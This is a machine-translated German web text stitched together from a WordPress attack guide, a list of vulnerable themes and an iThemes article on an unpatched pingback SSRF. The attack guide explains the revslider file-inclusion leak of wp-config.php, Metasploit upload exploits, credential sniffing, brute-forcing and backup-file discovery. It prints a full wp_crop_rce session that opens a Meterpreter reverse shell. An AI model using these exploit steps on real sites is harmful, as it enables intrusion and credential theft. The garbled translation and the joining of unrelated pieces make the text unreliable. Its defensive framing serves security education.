Ein Beispiel für einen WordPress-Plugin-Exploit ist eine vor 5 Jahren entdeckte Schwachstelle. Das anfällige revslider-Plugin führte zu Zehntausenden kompromittierter WordPress-Sites. Bis heute gibt es Versuche, es in unseren Webserver-Protokollen auszunutzen, sogar im Jahr 2019. Ein Grund dafür, dass es ein so beliebtes Plugin war, ist, dass es mit vielen Themen gebündelt war.
Eine Reihe von Nutzungsmöglichkeiten sind möglich, aber dies ist vielleicht am einfachsten zu demonstrieren. Die Ausbeutung ist so schwierig wie das Laden dieser URL in einem Browser.
Die HTTP-Anforderung würde die herunterladen wp-config.phpDatei von der anfälligen Site, wenn sie die ausnutzbare Version von hatte revsliderEingerichtet. Der Exploit-Typ wird als Local File include bezeichnet , da der Angreifer den Anwendungscode dazu verleitet, eine vertrauliche Datei in die Ausgabe aufzunehmen. Der wp-config.phpist normalerweise nicht zugänglich und enthält die Datenbankanmeldeinformationen für den WordPress-Datenbankbenutzer.
anzumelden Mit dem Datenbankpasswort könnte ein Angreifer versuchen, sich mit demselben Passwort als WordPress- Administrator (wenn Passwörter wiederverwendet würden). Ein häufigerer Angriffsvektor wäre die Anmeldung beim phpmyadmin-Skript, falls installiert, da dieses die Datenbankanmeldeinformationen verwendet. Wenn MySQL verfügbar ist, ist es möglicherweise sogar möglich, sich mit a direkt mit der Datenbank zu verbinden MySQLDatenbankclient und die durchgesickerten Anmeldeinformationen.
Der Zugriff auf die Datenbank bietet dem Angreifer die Möglichkeit, das Administratorpasswort zurückzusetzen, zu versuchen, den Admin-Hash zu knacken, Inhalte in der Datenbank zu ändern, bösartige js oder iframes hinzuzufügen . Es gibt viele Möglichkeiten zur weiteren Nutzung, sobald die Anmeldeinformationen vorliegen wp-config.phpsind durchgesickert.
Exploit WordPress-Theme-Beispiel
Exploits sind an verschiedenen Orten und in Foren verfügbar. Dieses Beispiel verwendet einen Exploit aus dem beliebten Metasploit Exploitation Framework. Das anfällige Thema ist das sehr beliebte optimizepress . Die Schwachstelle wurde bereits 2013 veröffentlicht und Versionen nach 1.45 sind für diesen Exploit nicht anfällig.
Mit Standard-Metasploit-Befehlen können wir das Modul laden, die Optionen konfigurieren, eine Nutzlast auswählen und ausnutzen. Das Ergebnis ist ein Shell-Zugriff auf den Server mit nur wenigen Minuten Arbeit.
In diesem Beispiel ist der Schwachstellentyp eine Datei-Upload-Schwachstelle in media-upload.phpdes Themas. Durch Ausnutzen der Schwachstelle können wir eine PHPShell oder anderen Code, der uns Codeausführung gibt.
Ein wichtiger Punkt, an den Sie sich hier erinnern sollten, ist: Die Identifizierung der Plugins und Themes ist der erste Schritt bei einem gezielten Angriff, bei dem eine WordPress-Site ausgenutzt wird.
Zahlreiche Bots und automatisierte Angriffsskripte, die WordPress-Sites ausnutzen, führen die Aufzählungsphase nicht durch. Sie treiben Exploits auf Tausenden von Websites voran und hoffen auf eine erfolgreiche Payload.
Nicht aktivierte Plugins und Themes können ausgenutzt werden. Das Scannen nach Standardspeicherorten dieser anfälligen Dateien ist ein sehr häufiger Angriff durch automatisierte Bots .
Nutzung des WordPress-Kerns
Schwachstellen im WordPress-Kern tauchen von Zeit zu Zeit auf. Während remote nicht authentifizierte Schwachstellen relativ selten sind, täte jeder Angreifer gut daran, sich mit den besser ausnutzbaren Schwachstellen in WordPress Core vertraut zu machen.
Die Liste der Schwachstellen auf cvedetails.com ist ein guter Anhaltspunkt und zeigt, dass die Schwere der entdeckten Schwachstellen im Vergleich zum Stand der Dinge vor 5 Jahren viel geringer war.
Unter Verwendung von Metasploit zeigt dieses Beispiel die Ausnutzung von Schwachstellen in WordPress-Versionen <= 4.9.8 und WordPress 5.0.0. Mit diesem Exploit erreichen wir die Ausführung willkürlichen Codes über eine zentrale Schwachstelle, die eine Pfadüberquerung und eine lokale Dateieinbindung kombiniert. Wenn der Angreifer Zugriff auf ein Konto mit mindestens Autorenrechten hat, ist die Codeausführung wahrscheinlich möglich.
Im Folgenden wird der Standard-Metasploit-Nutzungsprozess unter Verwendung von beschrieben wp_crop_rceModul. Der PHP Meterpreter ist ein Remote-Agent, der dem Angreifer die Möglichkeit gibt, Befehle auszuführen und Dateien auf das Zielsystem hoch-/herunterzuladen.
msf5 > verwenden Sie Exploit/unix/webapp/wp_crop_rce
msf5 Exploit (unix/webapp/wp_crop_rce) > setze rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5-Exploit (unix/webapp/wp_crop_rce) > Benutzernamen-Autor festlegen
Benutzername => Autor
msf5 Exploit (unix/webapp/wp_crop_rce) > Passwortautor festlegen
Passwort => Autor
msf5-Exploit (unix/webapp/wp_crop_rce) > ausführen
[*] Reverse-TCP-Handler auf 127.0.0.1:4444 gestartet
[*] Authentifizierung bei WordPress mit Autor:Autor...
[+] Mit WordPress authentifiziert
[*] Nutzlast wird vorbereitet...
[*] Überprüfe die Crop-Bibliothek
[*] Nutzlast wird hochgeladen
[+] Bild hochgeladen
[*] Nutzlast wird hochgeladen
[+] Bild hochgeladen
[*] Einschließlich in Thema
[*] Sendestufe (38247 Bytes) an 127.0.0.1
[*] Meterpreter-Sitzung 1 geöffnet (127.0.0.1:4444 -> 127.0.0.1:36568) am 19.03.2019 11:33:27 -0400
meterpreter > sysinfo
Rechner: ubuntu
OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Mi Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter: php/linux
Nicht authentifizierte Inhaltsinjektion in WordPress 4.7.0 und 4.7.1
In dieser Schwachstelle aus dem Jahr 2017 kann ein Angreifer Inhalte in einen Beitrag einfügen, indem er die wp-jsonAPI.
Sniff und Capture Credentials über nicht sichere Anmeldung
Ohne zusätzliche Sicherheitsmaßnahmen ( TLS/SSL), Zugriff auf die /wp-admin/Dashboard erfolgt über eine unverschlüsselte Verbindung. Das bedeutet, wenn Sie sich in einem ungesicherten Netzwerk wie dem WLAN Ihres örtlichen Cafés oder Flughafens bei Ihrer WordPress-Site anmelden, könnten Ihr Login und Ihr Passwort zur Verwaltung der Site von einem Angreifer erfasst werden, der Ihre Sitzung beobachtet.
In diesem Beispiel für die Wireshark-Erfassung sehen wir deutlich den Benutzernamen und das Passwort, die in unserer POST-Anforderung an erfasst wurden wp-login.php.
Anfällige Serversoftware
Das Testen der WordPress-Anwendung selbst ist nur ein Teil der Gewährleistung der Sicherheit Ihrer Website. Der Server, der die Website hostet, muss ebenfalls sicher gehalten werden.
Ausnutzbare Sicherheitslücken können natürlich auch in Serversoftware oder dem Betriebssystem vorhanden sein. Beispiele finden Sie auf jeder Schwachstellen-Mailingliste. eine Schwachstelle bezüglich Remote-Code-Ausführung Kürzlich wurde in Exim gefunden . Exim ist einer der beliebtesten E-Mail-Zustellungsserver im Internet. PHPMyAdmin ist aufgrund seiner Beliebtheit und einer langen Liste von Schwachstellen eine beliebte Angriffsanwendung.
Fehlkonfiguration der Serversoftware
Selbst wenn keine ausnutzbare Schwachstelle vorhanden ist, kann eine einfache Fehlkonfiguration einen Dienst angreifbar machen. Oft werden Sicherheitslücken einfach durch eine Fehlkonfiguration durch einen überarbeiteten Systemadministrator eingeführt.
Kompromittierung von Systemverwaltungstools
Ein erfolgreicher Passwort-Rate-Angriff auf ein Serververwaltungskonto gibt einem Angreifer vollen Zugriff auf den Server und die WordPress-Anwendung.
Zu den Diensten, die mit Brute-Force-Passworterraten angegriffen werden können, gehören:
SSH-Dienst
MySQL-Datenbankdienst
Webmin-Serververwaltung
CPanel oder WHCMS Webhosting Control Panels
phpMyAdmin Datenbankverwaltungsanwendung
Reduzieren Sie die Wahrscheinlichkeit einer Kompromittierung des Verwaltungskontos:
Verwenden Sie überall sichere Passwörter, verwenden Sie sie nicht erneut!
Verschieben Sie SSH auf einen anderen Port
Verwenden Sie TLS/SSL für webbasierte Verwaltungsdienste, um Sniffing und die Kompromittierung von Anmeldeinformationen zu verhindern
Whitelist-IP-Adressen, die eine Verbindung zu Internetdiensten herstellen können
Inhaltserkennung
Content Discovery ist der Prozess, bei dem versucht wird, interessante Elemente in einem Webpfad zu finden. Es gilt für jede Webanwendung, aber da wir WordPress angreifen, richten Sie es auf typische Dateien und Pfade von Interesse in einer WordPress-Installation.
Diese beiden Beispiele verwenden curl, um eine mögliche Sicherungsdatei der Datei wp-config.php zu finden, die wir zuvor besprochen haben. Es enthält vertrauliche Informationen , einschließlich Datenbankanmeldeinformationen . Der zweite Versuch versucht, die Sicherungsdatei herunterzuladen, die vimautomatisch erstellt, wenn eine Datei bearbeitet wird. Ein guter Grund, Dateien nicht direkt an Ihren Produktionsstandorten zu bearbeiten!
Verwenden curlUm diese Suchaufgabe für Hunderte oder sogar Tausende gemeinsamer Dateien durchzuführen , könnte dies mit ein wenig Skripting erreicht werden. Besser geeignet sind hingegen geeignetere Tools wie Burp Suite oder gobuster , ein durch Parallelverarbeitung sehr schnelles Tool. Es gibt viele Gründe, warum WordPress-Seiten angegriffen werden. Mit der Standardwartung können Sie die Wahrscheinlichkeit eines erfolgreichen Angriffs erheblich verringern. Seien Sie nicht die niedrig hängende Frucht. Halten Sie alles auf dem neuesten Stand, erstellen Sie regelmäßige Backups, führen Sie eine grundlegende Härtung durch und testen Sie Ihre Sicherheit regelmäßig.
Holen Sie sich ein professionelles WordPress-Assessment – Weitere Informationen Testen Sie sich selbst mit OpenVAS, Nikto, Nmap ++ Mehr Infos
In diesem Abschnitt finden Sie die neuesten Sicherheitslücken in WordPress-Designs, die offengelegt werden sollen. Sie sehen die gleichen Informationen wie oben für anfällige Plugins, und es gelten die gleichen Ratschläge. Wenn ein Sicherheitsupdate vorhanden ist, installieren Sie es sofort. Wenn eine Schwachstelle in einem Design, das Sie aktiv verwenden, nicht gepatcht wird, müssen Sie ein alternatives Design finden. Deaktiviere und lösche dauerhaft ungepatchte Themes und solche, die im WordPress.org-Theme-Repository „geschlossen“ wurden. Wenn Sie ein anfälliges Design installiert haben, das Sie nicht aktiv verwenden, löschen Sie es einfach.
Real Estate Directory
ThemeReal Estate DirectoryTheme Slugreal-estate-directoryDownloads3,569VulnerabilityAuthenticated Arbitrary Plugin ActivationPatched in Version1.0.6Severity ScoreMediumCVE2023-28532The vulnerability has been patched, so you should update to version 1.0.6.
NewsMag
ThemeNewsMagTheme SlugnewsmagDownloads338,702VulnerabilityReflected Cross Site Scripting (XSS)Patched in VersionNo FixSeverity ScoreMediumCVE2023-28493The vulnerability has not been patched. You should switch themes.
Mediciti Lite
ThemeMediciti LiteTheme Slugmediciti-liteDownloads20,184VulnerabilityReflected Cross Site Scripting (XSS)Patched in VersionNo FixSeverity ScoreMediumCVE2023-28418The vulnerability has not been patched. You should switch themes.
Chankhe
ThemeChankheTheme SlugchankheDownloads3,083VulnerabilityAuthenticated Arbitrary Plugin ActivationPatched in VersionNo FixSeverity ScoreMediumCVE2023-28416The vulnerability has not been patched. You should switch themes.
Ungepatchte Schwachstelle im WordPress-Core: Was es wirklich bedeutet
Diese Woche Im iThemes Vulnerability Report werden Sie feststellen, dass es eine ungepatchte Schwachstelle im WordPress-Core gibt. Diese Schwachstelle wurde von Thomas Chauchefoin gemeldet und betrifft derzeit alle Versionen von WordPress. Die wahrscheinliche Ausnutzung dieser Schwachstelle ist jedoch sehr gering, und um sich vollständig zu schützen, müssen Sie lediglich XML-RPC oder Pingbacks auf Ihrer WordPress-Site deaktivieren.
Was diese Schwachstelle für Ihre Website bedeutet
Obwohl ein vollständiger Proof of Concept noch nicht von WPScan veröffentlicht wurde, können wir einige fundierte Vermutungen darüber anstellen, wie diese Schwachstelle ausgenutzt werden kann. Sie sagen:
„WordPress ist von einer nicht authentifizierten blinden SSRF in der Pingback-Funktion betroffen. Aufgrund einer TOCTOU-Rennbedingung zwischen den Validierungsprüfungen und der HTTP-Anfrage können Angreifer interne Hosts erreichen, die ausdrücklich verboten sind.“
Um diese Schwachstelle auszunutzen, würde ein Angreifer WordPress-Pingbacks verwenden, wäre aber dazu gezwungen, dies in Kombination mit anderen Schwachstellen zu tun.
Um eine Schwachstelle wie diese auszunutzen, um einer WordPress-Site irgendeinen Schaden zuzufügen, wäre diese Schwachstelle nur nützlich, wenn sie mit anderen ernsteren Schwachstellen auf einer nicht gepatchten oder unsicheren WordPress-Site verwendet wird.
Offiziell hat das Sicherheitsteam von WordPress.org erklärt, dass es sich um eine Schwachstelle mit niedriger Priorität handelt. Insbesondere sagten sie dem Daily Swig :
„… dies ist ein Problem mit geringen Auswirkungen, und um es auszunutzen, muss es mit zusätzlichen Schwachstellen in Software von Drittanbietern [verkettet] werden. Daher betrachtet das Sicherheitsteam das Problem als gering.“
Sie fügten hinzu: „Aufgrund seines geringen Schweregrades diskutiert das Team, ob dieses Problem als allgemeine Härtungsmaßnahme öffentlich behoben werden könnte.“
Dies unterstreicht die Schwierigkeit, Sicherheitsfixes zu so vielen älteren Versionen von WordPress hinzuzufügen. Jahrelang hat das Kernteam Patches auf Versionen zurückportiert, die viele Jahre alt waren und nur von wenigen Nachzüglerseiten verwendet wurden, die noch nicht aktualisiert wurden. Die jüngste Entscheidung des Kernteams, ältere Versionen nicht mehr zurückzuportieren, wird die Behebung dieser Art von Problemen für das WordPress-Kernteam einfacher und schneller machen.
So schützen Sie Ihre Website
Da Pingbacks der offensichtliche Schwachpunkt sind, der diskutiert wird, ist das Deaktivieren von Pingbacks und/oder XML-RPC ein guter erster Schritt.
Wenn Sie Ihre WordPress-Site auf dem neuesten Stand halten und sich auf einem zuverlässigen Hosting mit einer starken und sicheren Infrastruktur befinden, ist die Wahrscheinlichkeit einer Ausnutzung dieser Schwachstelle extrem gering.
Wenn Sie Ihre Website so sicher wie möglich halten möchten, ist es am besten, Pingbacks oder XML-RPC zu deaktivieren. Glücklicherweise bietet Ihnen iThemes Security die Möglichkeit, beides zu tun.
So deaktivieren Sie XML-RPC mit iThemes Security
Das Deaktivieren von XML-RPC mit iThemes Security ist unglaublich einfach. Gehen Sie zu Sicherheit > Einstellungen > Erweitert > WordPress-Optimierungen und verwenden Sie dann das Dropdown-Menü, um XML-RPC zu deaktivieren.
Es kann Fälle geben, in denen Sie XML-RPC benötigen. Diese beinhalten:
Wenn Sie eine alte Website haben, die Sie nicht auf Version 4.4 oder höher aktualisieren können, haben Sie keinen Zugriff auf die REST-API und verwenden möglicherweise Dienste, die XML-RPC erfordern.
Sie verwenden ein Programm, das nicht auf die REST-API zugreifen kann, um mit Ihrer Website zu kommunizieren.
Integration mit einigen Apps von Drittanbietern, die nur XML-RPC verwenden können.
Das Deaktivieren von XML-RPC ist mit iThemes Security ein einfacher Vorgang. Sie können dies ausschalten und die Funktionalität Ihrer Website testen, und wenn etwas nicht richtig zu funktionieren scheint, können Sie es wieder einschalten.
Dies sind Situationen, in denen es sinnvoll ist, einen Staging-Server einzurichten, damit Sie Änderungen testen können, bevor Sie sie auf Ihre Produktionssite anwenden.
Stummschalten der Schwachstelle in Ihrem iThemes Site Scan
Natürlich benachrichtigt Sie der Site-Scanner von iThemes Security über diese Schwachstelle. Da es in naher Zukunft nicht vom Kernteam behoben wird, könnte es sinnvoll sein, der Warnungsermüdung vorzubeugen, indem diese Schwachstelle im Site-Scanner stummgeschaltet wird. Weitere Informationen zum Stummschalten von Schwachstellenwarnungen finden Sie in unserer Hilfedokumentation .
Fazit
Obwohl diese Sicherheitsanfälligkeit nicht gepatcht ist, stellt sie ein sehr geringes Risiko für Besitzer von WordPress-Sites dar. Wenn auf Ihrer Website XML-RPC bereits deaktiviert ist, sind Sie bereits geschützt. Pingbacks sind eine der Legacy-Funktionen von WordPress, die in einigen Fällen nützlich sein können, aber es ist keine Funktion, die von vielen modernen Websites verwendet wird. Dies ist einer der Fälle, in denen es hilfreich ist, ein Sicherheits-Plugin wie iThemes Security installiert zu haben, damit Sie schnell Maßnahmen ergreifen können, um Ihre Website gegen Angreifer zu schützen, selbst wenn die betreffende Schwachstelle von geringer Schwere ist.